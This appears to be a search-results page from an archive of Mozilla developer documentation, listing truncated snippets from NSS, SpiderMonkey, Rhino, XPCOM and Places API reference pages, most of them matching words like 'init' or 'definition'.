bug 1606025 - remove -wmaybe-uninitialized warning in sslsnce.c bug 1606119 - fix ppc hw crypto build failure bug 1605545 - memory leak in pk11install_platform_generate bug 1602288 - fix build failure due to missing posix signal.h bug 1588714 - implement checkarmsupport for win64/aarch64 bug 1585189 - nss database uses 3des instead of aes to encrypt db entries bug 1603257 - fix ubsan issue in softoken ckm_nss_chacha20_ctr ini...
NSS 3.54 release notes
bug 1642153 - fix infinite recursion building nss.
NSS 3.55 release notes
bug 1653202 - fix initialization bug in blapitest when compiled with nss_disable_deprecated_seed.
NSS Sample Code Sample_1_Hashing
progname + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optst...
Hashing - sample 1
progname + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optst...
sample1
progname + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->...
New NSS Samples
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 how to download the samples: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch samples list: sample code 1: hashing sample code 2: init nss database sample code 3: encrypt/decrypt and mac using token sample code 4: encrypt/decrypt and mac using session objects sample code 5: encrypt/decrypt/mac output public key as a csr sample code 6: encrypt/decrypt/mac generating a pkcs#11 csr common code used by these samples: sample code 0: utilities thanks are due to shailendra jain, mozilla community member, who is the principa...
Notes on TLS - SSL 3.0 Intolerant Servers
3.6.1 by infinite technologies (* update available) n.b.
PKCS 7 functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
FC_DecryptDigestUpdate
after calling both fc_decryptinit and fc_digestinit to set up the operations this function may be called multiple times.
FC_DecryptFinal
return value examples see also fc_decryptinit, nsc_decryptfinal ...
FC_DecryptVerifyUpdate
after calling both fc_decryptinit and fc_verifyinit to set up the operations this function may be called multiple times.
FC_DigestEncryptUpdate
after calling both fc_digestinit and fc_encryptinit to set up the operations this function may be called multiple times.
FC_DigestFinal
return value examples see also fc_digestinit, nsc_digestfinal ...
FC_DigestKey
return value examples see also fc_digestinit, fc_digestfinal, nsc_digestkey ...
FC_DigestUpdate
return value examples see also fc_digestinit, fc_digestfinal, nsc_digestupdate ...
FC_EncryptFinal
return value examples see also fc_encryptinit, nsc_encryptfinal ...
FC_GetInfo
fc_getinfo should return ckr_cryptoki_not_initialized if the library is not initialized.
FC_SignEncryptUpdate
after calling both fc_signinit and fc_encryptinit to set up the operations this function may be called multiple times.
FC_SignUpdate
return value examples see also fc_signinit, fc_signfinal, nsc_signupdate ...
FC_Verify
examples see also fc_verifyinit, nsc_verify ...
NSPR functions
nspr initialization and shutdown nspr is automatically initialized by the first nspr function called by the application.
NSS tools : crlutil
please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
NSS tools : pk12util
return codes o 0 - no error o 1 - user cancelled o 2 - usage error o 6 - nls init error o 8 - certificate db open error o 9 - key db open error o 10 - file initialization error o 11 - unicode conversion error o 12 - temporary file creation error o 13 - pkcs11 get slot error o 14 - pkcs12 decoder start error o 15 - error read from import file o 16 - pkcs12 decode error o 17 - pkcs12 decoder verify error o 18 - pkcs12 decoder validate bags error o 19 - pkcs12 decoder...
pkfnc.html
the callback function is identified in a call to pk11_setpasswordfunc that takes place during nss initialization.
SSL functions
the mozilla cross reference (dxr) link for each function provides access to the function definition, prototype definition, and source code references.
S/MIME functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
NSS Tools
many tools implement private versions of pkcs11init(), opencertdb(), etc.
modutil-tasks.html
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers).
NSS Tools certutil-tasks
(bugfix) null password is given to new key3.db; should prompt user for an initial password.
NSS Tools modutil-tasks
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers).
NSS Tools pk12util
error codes pk12util can return the following values: 0 - no error 1 - user cancelled 2 - usage error 6 - nls init error 8 - certificate db open error 9 - key db open error 10 - file initialization error 11 - unicode conversion error 12 - temporary file creation error 13 - pkcs11 get slot error 14 - pkcs12 decoder start error 15 - error read from import file 16 - pkcs12 decode error 17 - pkcs12 decoder verify error 18 - pkcs12 decoder validate bags error 19 - pkcs12 decoder import bags error 20 - key db conve...
NSS tools : pk12util
return codes o 0 - no error o 1 - user cancelled o 2 - usage error o 6 - nls init error o 8 - certificate db open error o 9 - key db open error o 10 - file initialization error o 11 - unicode conversion error o 12 - temporary file creation error o 13 - pkcs11 get slot error o 14 - pkcs12 decoder start error o 15 - error read from import file o 16 - pkcs12 decode error o 17 - pkcs12 decoder verify error o 18 - pk...
NSS tools : signtool
if the certificate authority's certificate isn't already installed in your copy of communicator, you typically install it by clicking the appropriate link on the certificate authority's web site, for example on the page from which you initiated enrollment for your signing certificate.
Necko Interfaces Overview
channel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotocolhandler a service that manages a protocol, identified by it's uri scheme (eg.
Installing Pork
> gxx${gcc_maj_ver}${gcc_min_ver}_predef_std.h - ${cxx} -e -xc++ -dm /dev/null | sort | grep -e ' *#define *[a-za-z]+' \ + ${cxx} ${cppflags} -e -xc++ -dm /dev/null | sort | grep -e ' *#define *[a-za-z]+' \ > gxx${gcc_maj_ver}${gcc_min_ver}_predef_old.h fi if test ${host_system} = sys_cygwin; then if you don't do this, mcpp will get the wrong set of automatic definitions and you'll end up with an unpleasant hybrid x86-64/i686 build system.
Pork Tools
it takes a list of functions as input and rewrites the definition and call sites of those functions.
Rhino downloads archive
rhino 1.5r4.1 2003-04-21 changes in 1.5r4.1 rhino15r41.zip rhino 1.5r4 2003-02-10 changes in 1.5r4 rhino15r4.zip rhino 1.5r3 2002-01-27 changes in 1.5r3 rhino15r3.zip rhino 1.5r2 2001-07-27 changes in 1.5r2 rhino15r2.zip rhino 1.5r1 2000-09-10 changes in 1.5r1 rhino15r1.zip rhino 1.4r3 1999-05-10 initial public release rhino14r3.zip rhino 1.6r1 through 1.6r6 implement e4x using xmlbeans library.
Rhino overview
javascript: the definitive guide is recommended, and contains a chapter on rhino.
Performance Hints
arrays use the forms of the array constructor that specify a size or take a list of initial elements.
Rhino requirements and limitations
to use the javaadapter feature or an optimization level of 0 or greater, rhino must be running under a security manager that allows the definition of class loaders.
Scripting Java
neither form of the method is closer to the argument types than the other: js> o.g(3,4) js:"<stdin>", line 2: the choice of java method overload.g matching javascript argument types (number,number) is ambiguous; candidate methods are: class java.lang.string g(java.lang.string,int) class java.lang.string g(int,java.lang.string) see java method overloading and liveconnect 3 for a more precise definition of overloading semantics.
Creating JavaScript jstest reftests
non262 tests the directory js/src/tests/non262/ should contain all tests of the following type: regressions of spidermonkey non-standard spidermonkey extensions to the javascript language test of "implementation-defined" details of the ecmascript standard for example, the exact definition of pi or some details of array sorting.
64-bit Compatibility
to help form well-typed lir, there is a special opcode called lir_float which specifies that the associated constant value is definitely floating-point.
Statistics API
reason: string - a string describing the api that initiated this gc slice.
JIT Optimization Outcomes
the engine knows nothing definite about the type of the callee function object.
JS::CallArgs
the initial contents of this value are unspecified.
JS::CompileOptions
if one assigns a function, that function's script's source does not belong to the dom element; the function's definition must appear elsewhere.) jsstring *elementattributename() const if this source belongs to a dom element because it is an event handler content attribute or an event handler idl attribute, this returns the name of that attribute, a string.
JSFastNative
apis such as js_initclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of this type, instead of jsnative.
JSNative
in particular, apis such as js_initclass and js_definefunctions create custom methods on javascript objects that are implemented as jsnative callbacks provided by the application, written in c/c++ code.
JSPropertyOp
on success, the post-callback value of *vp becomes the initial stored value of the new property.
JSPropertySpec
pass to js_defineproperties or js_initclass to create the properties and assign them to an object.
JSReserveSlotsOp
the optional jsclass.reserveslots hook allows a class to make computed per-instance object slots reservations, in addition to or instead of using jsclass_has_reserved_slots(n) in the jsclass.flags initializer to reserve a constant-per-class number of slots.
JS_CompareStrings
there is no attempt to use the more complex, semantically oriented definitions of character or string equality and collating order defined in the unicode specification.
JS_ConvertArguments
variables for optional parameters must already be initialized, because if an optional parameter is not in argv, js_convertarguments does not modify the corresponding variable.
JS_DefineObject
initialization of the new object is up to the caller.
JS_DefinePropertyWithTinyId
value jsval initial stored value for the new property.
JS_DoubleIsInt32
we should definitely fix this (bug 744965), but as apparently it "works" in practice, it's not a pressing concern now.
JS_EnumerateStandardClasses
syntax bool js_enumeratestandardclasses(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to the executable script context for which to initialize js function and object classes.
JS_GetCompartmentPrivate
the field is initially null.
JS_GetContextPrivate
the field is initially null.
JS_GetGCParameter
0 for infinite.
JS_GetInstancePrivate
see also mxr id search for js_getinstanceprivate jsclass_has_private jsval_to_private js_getprivate js_initclass js_instanceof js_reporterror js_setprivate bug 959787 -- added args parameter ...
JS_GetNaNValue
see also mxr id search for js_getnanvalue js_getnegativeinfinityvalue js_getpositiveinfinityvalue bug 1184564 -- changed jsval to js::value ...
JS_GetPrivate
new objects' private data fields are initially null.
JS_GetReservedSlot
they cannot be returned from functions, set as properties on objects, embedded in javascript arrays, and so on.) new objects' reserved slots are initialized to undefined.
JS_GetRuntimePrivate
the field is initially null.
JS_GetVersion
when a context is created, its version is initially jsversion_default.
JS_IsConstructing
js_isconstructing returns js_true if the native was defined with jsfun_constructor (js_initclass automatically sets that flag when defining a constructor) and it was called as a constructor, either from javascript, using the new keyword, or from c/c++ using a jsapi function such as js_constructobject.
JS_LinkConstructorAndPrototype
see also mxr id search for js_linkconstructorandprototype js_initclass bug 722729 ...
JS_LookupProperty
jsresolve_classname search for the initial value of a standard class such as object, array, or error.
JS_NewGlobalObject
it initially has no prototype either, since it is typically the first object created; call js_initstandardclasses to create all the standard objects, including object.prototype, and set the global object's prototype.
JS_SetContextCallback
the callback can initialize the instance as required.
JS_SetGlobalObject
applications typically set a context's global object using js_initstandardclasses instead.
JS_SetICUMemoryFunctions
it must be called before js_init.
JS_SetNativeStackQuota
this function may only be called immediately after the runtime is initialized and before any code is executed and/or interrupts requested.
JS_SetProperty
the initial stored value of the new property is undefined.
JS_SetPrototype
take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
JS_ValueToInt32
if the result is nan, an infinity, or a number outside the 32-bit range, js_valuetoint32 reports an error and conversion fails.
JS_ValueToString
this might be "nan", "infinity", or "-infinity".
JS_YieldRequest
a program can call this function periodically to ensure that a long-running request does not block garbage collection indefinitely.
JS_updateMallocCounter
maxmallocbytes is initialized with maxbytes parameter of js_newruntime, and could be configured later by calling js_getgcparameter with jsgc_max_malloc_bytes.
Stored value
js_defineproperty allows the application to specify a property's initial stored value.
SpiderMonkey 1.8.5
ingchars js_getinternedstringcharsandlength js_getownpropertydescriptor js_getpropertyattrsgetterandsetterbyid js_getpropertybyid js_getpropertybyiddefault js_getpropertydefault js_getpropertydescriptorbyid js_getruntimesecuritycallbacks js_getsecuritycallbacks js_getstringcharsandlength js_getstringcharsz js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobjectmsec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
SpiderMonkey 1.8.7
ingchars js_getinternedstringcharsandlength js_getownpropertydescriptor js_getpropertyattrsgetterandsetterbyid js_getpropertybyid js_getpropertybyiddefault js_getpropertydefault js_getpropertydescriptorbyid js_getruntimesecuritycallbacks js_getsecuritycallbacks js_getstringcharsandlength js_getstringcharsz js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobjectmsec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
SpiderMonkey 38
latstringchars (bug 1037869) js_gettwobyteinternedstringchars (bug 1037869) js_gettwobytestringcharsandlength (bug 1032726) js_newplainobject (bug 1125356) js_removefinalizecallback (bug 996785) js_self_hosted_sym_fn (bug 1082672) js_sym_fn (bug 1082672) js_sym_fnspec (bug 1082672) js_stringhaslatin1chars (bug 1032726) js_stringisflat (bug 1037869) js_stringtoid (bug 959787) propertydefinitionbehavior (bug 825199) symbol_to_jsid (bug 645416) obsolete apis ...
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build commands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list.
TPS History Lists
for example: var history_initial = [ { uri: "http://www.google.com/", title: "google", visits: [ { type: 1, date: 0 }, { type: 2, date: -1 } ] }, { uri: "http://www.cnn.com/", title: "cnn", visits: [ { type: 1, date: -1 }, { type: 2, date: -36 } ] }, ]; the history list used for deletions looks different.
Thread Sanitizer
in our codebase, this is done using the moz_tsan_blacklist macro on the function definition.
Zest usecase: Reporting Security Vulnerabilities to Developers
ipt which reproduces the problem they hand the script over to the developer the developer adjusts the script to match their local environment they run the script and see the vulnerability they fix the vulnerability they rerun the script to check that the vulnerability is fixed the fix is applied to the system that the security team is testing the security team rerun the script as an initial check they then perform any manual testing they think is necessary note that the developers could also include the script in the regression tests to make sure that it doesnt reoccur.
Mozinfo
example output: os: linux version: ubuntu 10.10 bits: 32 processor: x86 three of these fields, os, bits, and processor, have a finite set of choices.
Redis Tips
for example, to see everyone who's logged in in the last hour, you could do: > var an_hour_ago = now() - (60 * 60); > r.zrevrangebyscore('last-login', an_hour_ago, infinity, print); here are two ways to get the last person who logged in: > r.zrevrange('last-login', 0, 0, print); ["lloyd"] > r.zrevrangebyscore('last-login', infinity, 0, 'withscores', 'limit', 0, 1, print); ["lloyd", "1339627441.115"] timeout keys you can set an expiration date on keys in redis.
XForms Accessibility
trigger allows the user to initiate actions (see the spec, the docs).
Feed content access API
to initialize a fetch of the feed, we simply call fetch(url).
Manipulating bookmarks using Places
initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
Using the Places livemark service
initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a new livemark the nsilivemarkservice.createlivemark() method creates a new livemark.
Using the Places tagging service
initiating the tagging service before using the tagging service, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); tagging a uri the nsitaggingservice.taguri() method tags a url with the given set of tags.
The Publicity Stream API
publicizeactivity( <activity>, [ { [ onsuccess: <function> ], [ onerror: <function> ] } ]): applications should call this method when an user-initiated activity deemed attractive to potential consumers occurs.
Creating a Python XPCOM component
make a file named "py_simple.py" for the actual code (again, in the 'components' directory): from xpcom import components, verbose class pysimple: #pythontestcomponent _com_interfaces_ = components.interfaces.nsipysimple _reg_clsid_ = "{c456ceb5-f142-40a8-becc-764911bc8ca5}" _reg_contractid_ = "@mozilla.org/pysimple;1" def __init__(self): self.yourname = "a default name" # or mname ?
Generating GUIDs
warning: if you just want an id for your add-on, generating a guid is almost definitely not what you want to do.
Generic factory
fnsiid aiid, void **aresult); nsgenericfactory(creatorprocptr creator); virtual ~nsgenericfactory(); ns_decl_isupports ns_imethod createinstance(nsisupports *aouter, refnsiid aiid, void **aresult); ns_imethod lockfactory(prbool alock); private: creatorprocptr mcreator; }; nsgenericfactory::nsgenericfactory(creatorprocptr creator) : mcreator(creator) { ns_init_refcnt(); } nsgenericfactory::~nsgenericfactory() {} static ns_define_iid(kifactoryiid, ns_ifactory_iid); ns_impl_isupports(nsgenericfactory, kifactoryiid) ns_imethodimp nsgenericfactory::createinstance(nsisupports *aouter, refnsiid aiid, void **aresult) { return mcreator(aouter, aiid, aresult); } ns_imethodimp nsgenericfactory::loc...
Using XPCOM Components
the weblock component is software that implements all of these methods in the way described by the interface definition.
Creating XPCOM components
ng status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from script component internals creating components in cpp xpcom initialization xpcom registry manifests registration methods in xpcom autoregistration the shutdown process three parts of a xpcom component library xpcom glue the glue library xpcom string classes creating the component code what we'll be working on component registration the regxpcom program registration alternatives overview of the weblock module source ...
Receiving startup notifications
what happens next once you've registered with the category manager, at mozilla startup time (or when the embedding application's ns_initembedding() function is called), the appstartupnotifier component is instantiated, and its observe() method is called; this in turn enumerates all components in the app-startup category and sends them the appropriate notifications.
Components.stack
components.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack.
Components.utils.reportError
examples usage in an exception handler: try { this.could.raise.an.exception; } catch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the error console: components.utils.reporterror("init() called"); ...
Components.utils.waiveXrays
this means you don't have to care whether the initial object is an xray or not.
Examples
there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
JavaXPCOM
sample code there are several java test applications checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
PlXPCOM
project page (mozdev) perl object definition (mozdev) developer's guide to perl xpcom (mozdev) newsgroup (mozdev) mailing list (mozdev) ...
XPCshell Test Manifest Expressions
there are a fixed set of variables provided by the test harness via mozinfo.py, with many of the values initialized at configure time by writemozinfo.py which writes mozinfo.json into the root of the build directory.
Language bindings
e can be called directly on this object.components.resultscomponents.results is a read-only object whose properties are the names listed as the first parameters of the macros in js/xpconnect/src/xpc.msg (also at table of errors), with the value of each corresponding to that constant's value.components.returncodecomponents.stackcomponents.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack.
nsLocalFile
createinstance(components.interfaces.nsilocalfile); file.initwithpath(path); return file.filesize; } see also components, nsicomponentmanager ...
nsScriptableInputStream
example code const nsiscriptableinputstream = components.interfaces.nsiscriptableinputstream; function consumestream(inputstream) { var factory = components.classes["@mozilla.org/scriptableinputstream;1"]; var sis = factory.createinstance(nsiscriptableinputstream); sis.init(inputstream); try { while (true) { var chunk = sis.read(512); if (chunk.length == 0) break; // ok, chunk now contains a portion of the stream's data.
nsAutoRefTraits
when the handle to the resource is a pointer to t the specialization may be derived from nspointerreftraits<t>, so that only definitions of the release(t*) static method and possibly the addref(t*) static method need to be added.
GetGlobalMemoryService
static nsimemory* getglobalmemoryservice(); return values this function returns nsnull if the global memory manager does not exist or could not be initialized.
Realloc
newly allocated memory is uninitialized.
imgIDecoderObserver
this means that the frames no longer exist in decoded form, and any attempt to access or draw the image will initiate a new series of progressive decode notifications.
nsIArray
unsigned long indexof( in unsigned long startindex, in nsisupports element ); parameters startindex the initial element to search in the array.
nsIChannelEventSink
it was not initiated by the remote server, but is specific to the channel implementation.
nsIConsoleService
nenumber, acolumnnumber, aflags, acategory) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var scripterror = components.classes["@mozilla.org/scripterror;1"] .createinstance(components.interfaces.nsiscripterror); scripterror.init(amessage, asourcename, asourceline, alinenumber, acolumnnumber, aflags, acategory); consoleservice.logmessage(scripterror); } amessage — the string to be logged.
nsIContentPrefService2
as a consumer of this interface, you might choose to let a global preference override all non- global preferences of the same name, for example, for whatever definition of "override" is appropriate for your use case.
nsIContentSecurityPolicy
isinitialized boolean set to true when the content security policy has been read in and parsed and is ready to enforce.
nsICookiePermission
afirsturi the uri initiated by the user that resulted in auri being loaded.
nsIDNSRecord
prnetaddr getnextaddr( in pruint16 aport ); parameters aport a port number to initialize the prnetaddr with.
nsIDOMChromeWindow
if set to -1, cycles indefinitely until window is brought into the foreground.
nsIDOMHTMLAudioElement
exceptions thrown ns_error_dom_invalid_state_err the stream has not been initialized for writing by a call to mozsetup().
nsIDOMNSHTMLDocument
roughly equivalent to body.contenteditable domain domstring initially the host name of the document's url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents from different sites in the same domain.
nsIDOMWindowInternal
void alert(in domstring text) boolean confirm(in domstring text) domstring prompt([optional] in domstring amessage, [optional] in domstring ainitial, [optional] in domstring atitle, [optional] in unsigned long asavepassword) void focus() void blur() void back() void forward() void home() void stop() void print() void moveto(in long xpos, in long ypos) void moveby(in long xdif, in long ydif) void resizeto(in long width, in long height) void re...
nsIDOMWindowUtils
suppresseventhandling() suppresses/unsuppresses user initiated event handling in window's document and subdocuments.
nsIDOMXPathEvaluator
creatensresolver() creates an nsidomxpathexpression which resolves name spaces with respect to the definitions in scope for a specified node.
nsIDirectoryIterator
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in nsifilespec parent, in boolean resolvesymlink); boolean exist(); void next(); attributes attribute type description currentspec nsifilespec init() void init( in nsifilespec parent, in boolean resolvesymlink ); parameters parent resolvesymlink exist() boolean exists(); next() void next(); ...
getFile
c constant string value notes ns_os_home_dir "home" ns_os_temp_dir "tmpd" ns_os_current_working_dir "curworkd" ns_os_desktop_dir "desk" otherwise same as home ns_os_current_process_dir "curprocd" ns_xpcom_current_process_dir "xcurprocd" can be overriden by passing a "bin directory" to ns_initxpcom2().
nsIDownloadProgressListener
onsecuritychange() called when the level of security being used while downloading changes; for example, if the initial request is made via https but the download switches to http, this function gets called to notify you of that transition.
nsIDroppedLinkHandler
this will occur if the source of the drag initiated a link for dragging that it itself cannot access.
nsIFileView
d="lastmodifiedcolumn" label="date" flex="1"/> <treecol id="size" label="size" flex="1"/> </treecols> <treechildren/> </tree> <script> var dir="/home/"; //the directory to be opened var ftree = document.getelementbyid("ftree"); //the xul tree element var lfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); lfile.initwithpath(dir); // open the directory var fview = components.classes["@mozilla.org/filepicker/fileview;1"] .createinstance(components.interfaces.nsifileview); //create an instance of the component tview = fview.queryinterface(components.interfaces.nsitreeview); //get the nsitreeview interface fview.setdirectory(lfile.queryinterface(components.interfaces.nsifile)); //set the d...
nsIGeolocationProvider
after the provider has been initialized, any changes to location should call callback.onrequest().
nsIHapticFeedback
66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a service: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void performsimpleaction(in long islongpress); constants press length constants constant value description shortpress 0 specify as t...
nsIHttpChannel
the initial value for this attribute may be a configurable preference (depending on the implementation).
nsIINIParser
ini sections are * defined by square brakets and look like this: [settings] * all entries below such a section definition belong to that * section (until the next section).
nsIINIParserFactory
example obtaining a parser object to obtain a parser for an ini file, you can use code that looks like this: to get an nsiiniparser instance for an ini file, you may use the following code: // create an nsilocalfile var cl = "@mozilla.org/file/local;1"; var interf = components.interfaces.nsilocalfile; var file = components.classes[cl].createinstance(interf); // init the file with the path to your ini file var path = "c:\\temp\\example.ini"; file.initwithpath(path); // create the nsiiniparserfactory var cl = "@mozilla.org/xpcom/ini-parser-factory;1"; var interf = components.interfaces.nsiiniparserfactory; var inifact = components.manager.getclassobjectbycontractid(cl,interf); // get the iniparser for the ini file var iniparser = inifact.createiniparser(file...
nsIINIParserWriter
void writefile( in nsifile ainifile, optional in unsigned long aflags optional ); parameters ainifile optional if specified, this nsifile based object is used as the output file instead of the one specified at initialization time (if any).
nsIMacDockSupport
.focus() }) macmenu.appendchild(macmenuitem); var mainpopupset = win.document.getelementbyid('mainpopupset'); mainpopupset.appendchild(macmenu); let dockmenuelement = macmenu; //document.getelementbyid("menu_mac_dockmenu");66 let nativemenu = cc["@mozilla.org/widget/standalonenativemenu;1"].createinstance(ci.nsistandalonenativemenu); console.log('dockmenuelement:', dockmenuelement); nativemenu.init(dockmenuelement); docksupport.dockmenu = nativemenu; this replaces the default menu with this one menuitem that says "show most recent window".
nsIMsgCompFields
it should be initialized to true and set to false when 'send anyway' is selected by a user.
nsIMsgMessageService
ar msgstream = components.classes["@mozilla.org/network/sync-stream-listener;1"].createinstance(); var consumer = msgstream.queryinterface(components.interfaces.nsiinputstream); var scriptinput = components.classes["@mozilla.org/scriptableinputstream;1"].createinstance(); var scriptinputstream = scriptinput.queryinterface(components.interfaces.nsiscriptableinputstream); scriptinputstream.init(consumer); try { msgservice.streammessage(messageuri, msgstream, msgwindow, null, false, null); } catch (ex) { alert("error: "+ex) } scriptinputstream .available(); while (scriptinputstream .available()) { content = content + scriptinputstream .read(512); } alert(content streamheaders() this method streams a message's headers to the passed in consumer.
nsIMsgWindow
set this to initialize the rootdocshell.
nsINavHistoryResultTreeViewer
it's important to be aware of this—if you want to reuse the same viewer, you need to keep your own reference to it, then reinitialize it when the tree changes.
nsINavHistoryService
it will be initialized to all empty (so using it will give you all history).
nsIPrefService
resetprefs() called to completely flush and re-initialize the preferences system.
nsIProcess2
e: var process2 = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess2); method overview void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); methods runasync() asynchronously runs the process with which the object was initialized, optionally calling an observer when the process finishes running.
nsISHistory
void addshistorylistener( in nsishistorylistener alistener ); parameters alistener listener object to be notified for all page loads that initiate in session history.
nsIScreenManager
this pointer's definition is specific to the platform's native widget implementation, and is typically of the same type as ns_native_window.
nsISelectionPrivate
this page wasn't updated since the initial import in 2011.
nsISimpleEnumerator
this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, though it can be called without subsequent getnext() calls.
nsISocketTransport
native code only!getselfaddr returns the ip address of the initiating end.
nsIStringEnumerator
this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, though it can be called without subsequent getnext() calls.
nsISupportsPriority
typically this attribute is initialized to priority_normal, but implementations may choose to assign a different initial value.
nsISupports proxies
this is definitely bad.
nsITXTToHTMLConv
method overview void preformathtml(in boolean value); void settitle(in wstring text); prior versions of the interface named the methods using the initialcaps style instead of the intercaps style.
nsITimerCallback
inherits from: nsisupports last changed in gecko 1.7 method overview void notify(in nsitimer timer); methods notify() initialize a timer to fire after the given millisecond interval.
nsITraceableChannel
, results: cr, constructor: cc, utils: cu} = components; cu.import('resource://gre/modules/services.jsm'); var binaryinputstream = cc('@mozilla.org/binaryinputstream;1', 'nsibinaryinputstream', 'setinputstream'); var binaryoutputstream = cc('@mozilla.org/binaryoutputstream;1', 'nsibinaryoutputstream', 'setoutputstream'); var storagestream = cc('@mozilla.org/storagestream;1', 'nsistoragestream', 'init'); function tracinglistener() { this.receivedchunks = []; // array for incoming data.
nsIURLParser
netwerk/base/public/nsiurlparser.idlscriptable specifies the interface to an url parser that attempts to follow the definitions of rfc 2396.
nsIUTF8StringEnumerator
this method is generally used to determine whether or not to initiate or continue iteration over the enumerator, athough it can be called without subsequent getnext() calls.
nsIUpdatePrompt
if background is true (for example the download was not user initiated) and the app.update.silent preference is true the call will be a no-op.
nsIVersionComparator
a version-part consists of up to four parts, all of which are optional: <number-a><string-b><number-c><string-d (everything else)> a version-part may also consist of a single asterisk "*" which indicates * "infinity".
nsIWebBrowser
embedders use this interface during initialization to associate the new web browser instance with the embedders chrome and to register any listeners.
nsIWebBrowserChrome
in this case the implementer is responsible for taking the new webbrowser object and doing any necessary initialization or setup as if it had created the webbrowser itself.
nsIWebBrowserPersist
